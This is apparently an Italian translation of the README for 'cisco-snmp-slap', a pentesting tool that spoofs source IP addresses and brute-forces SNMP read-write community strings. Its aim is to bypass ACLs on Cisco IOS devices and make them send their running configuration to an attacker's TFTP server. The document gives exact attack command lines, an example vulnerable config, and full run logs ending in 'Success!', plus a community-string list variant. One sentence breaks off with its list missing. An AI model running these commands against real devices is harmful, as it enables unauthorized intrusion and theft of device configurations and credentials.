
Strumento di spoofing IP e brute-forcing delle community string SNMP per bypassare le ACL sui dispositivi Cisco IOS ed esfiltrare i file di configurazione tramite TFTP.
cisco-snmp-slap utilizza lo spoofing degli indirizzi IP per aggirare un'ACL che protegge un servizio SNMP su un dispositivo Cisco IOS.
Tipicamente lo spoofing IP ha un uso limitato negli attacchi reali al di fuori dei DoS. Nessun servizio TCP può completare l'handshake iniziale. I pacchetti UDP sono più facili da spoofare, ma il pacchetto di ritorno viene spesso inviato all'indirizzo sbagliato, il che rende difficile raccogliere qualsiasi informazione restituita.
Tuttavia, se un attaccante riesce a indovinare la community string SNMP rw e un indirizzo sorgente valido, può impostare le MIB SNMP. Uno degli usi più ovvi è far sì che un servizio SNMP Cisco invii il proprio file di configurazione IOS a un altro dispositivo.
Questo strumento consente di provare una o più community string contro un dispositivo Cisco da uno o più indirizzi IP. Quando si specificano gli indirizzi IP, è possibile scegliere di iterare in modo sequenziale o casuale su un intervallo di indirizzi sorgente.
Per specificare un intervallo di indirizzi IP sorgente da controllare, vengono forniti un indirizzo sorgente iniziale e una maschera IP. Tutti i bit impostati nella maschera IP verranno utilizzati per generare indirizzi IP sorgente modificando l'indirizzo sorgente iniziale.
Ad esempio, se viene fornito un indirizzo sorgente 10.0.0.0 con una maschera IP 0.0.0.255, lo script esplorerà gli indirizzi da 10.0.0.0 a 10.0.0.255.
I bit impostati non devono essere sequenziali come in una maschera di sottorete. Ad esempio, la maschera 0.128.1.255 è valida ed esplorerà gli intervalli 10.0,128.0-1.0-255.
Quando si controlla un intervallo di indirizzi IP in modo casuale o sequenziale, è necessario inserire il percorso della directory root TFTP. Lo script controllerà questa directory per verificare se il file è stato trasferito con successo.
Questo strumento è stato scritto per colpire gli switch Cisco di livello 3 durante i pentest, anche se potrebbe avere altri usi. Funziona bene contro questi dispositivi perché:
Tuttavia, spero che gli utenti trovino altri usi interessanti per questo script e per il suo codice sorgente.
In questo esempio prenderò un semplice dispositivo IOS con una lista di accesso che protegge un servizio SNMP usando la community string 'cisco'
access-list 10 permit 10.100.100.0 0.0.0.255
snmp-server community cisco rw 10
L'indirizzo IP di un dispositivo IOS è 10.0.0.1
Il pentester ha un indirizzo IP 10.0.0.2 e ha avviato un server TFTP.
Se il tester conosce tutti questi dati, usa la modalità singola "one shot" per recuperare il file di configurazione del dispositivo. Es.:
./slap.py single cisco 10.0.0.2 10.100.100.100 10.0.0.1
Se il tester non conosce i dettagli, può provare a indovinare. Diciamo che il tester ha fatto un po' di ricognizione e ha scoperto che tutti gli indirizzi interni sono nell'intervallo 10.0.0.0/8.
./slap.py seqmask private 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/
Questo comando esaminerà tutte le /24; il tester spera di risparmiare tempo assumendo che a un'intera sottorete sarà consentito l'accesso piuttosto che a un singolo indirizzo IP.
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask cisco 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap, v0.3
Darren McDonald, [email protected]
WARNING: No route found for IPv6 destination :: (no default route?)
Community String: cisco
TFTP Server IP : 10.0.0.2
Source IP: 10.0.0.5
Source Mask: 0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
10.0.0.5
10.0.1.5
10.0.2.5
< ... cut for brevity ... >
10.100.99.255
10.100.100.0
10.100.100.1
10.100.100.2
10.100.100.3
10.100.100.4
10.100.100.5
10.100.100.6
Success!
Dovreste notare che il programma termina e annuncia il successo diversi indirizzi IP dopo essere entrato nell'intervallo 10.100.100.0/24. Questo perché non è possibile determinare quale indirizzo sorgente abbia avuto successo, ma si determina che una delle richieste ha avuto successo dopo che il file di configurazione compare nella directory tftproot. Dato che avete appena recuperato la configurazione in esecuzione, ora potete scoprire voi stessi i dettagli dell'ACL.
Invece di specificare una singola community string, puoi anche fornire un elenco da utilizzare. I nomi delle modalità sono gli stessi, tranne per il suffisso '_l'.
Ad esempio, per ripetere lo stesso attacco usando un elenco di community string in list.txt, si devono usare i seguenti argomenti.
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask_l list.txt 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap, v0.3
Darren McDonald, [email protected]
WARNING: No route found for IPv6 destination :: (no default route?)
Community File: list.txt
TFTP Server IP : 10.0.0.2
Source IP: 10.0.0.5
Source Mask:0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
community strings loaded: ['private\n', 'cisco\n', 'public\n']
10.0.0.5 / private
10.0.0.5 / cisco
10.0.0.5 / public
10.0.1.5 / private
10.0.1.5 / cisco
10.0.1.5 / public
10.0.2.5 / private
10.0.2.5 / cisco
10.0.2.5 / public
10.0.3.5 / private
10.0.3.5 / cisco
10.0.3.5 / public
Ora ogni indirizzo IP viene controllato con ogni community string in list.txt.
Per quanto riguarda i linguaggi di programmazione, Python è un linguaggio semplice, facile da leggere e scrivere, e ti incoraggio a provare a fare debug e correggere qualsiasi problema tu trovi e a inviarmi le tue modifiche così posso condividerle con altri utenti sul GitHub di NCC.
Ma se hai bisogno di assistenza puoi contattarmi all'indirizzo [email protected]. Farò del mio meglio per aiutarti, ma tieni presente che non sono uno sviluppatore a tempo pieno (cosa che dovrebbe essere ovvia dal mio codice!) e potrei non avere immediatamente tempo da dedicare alla tua richiesta.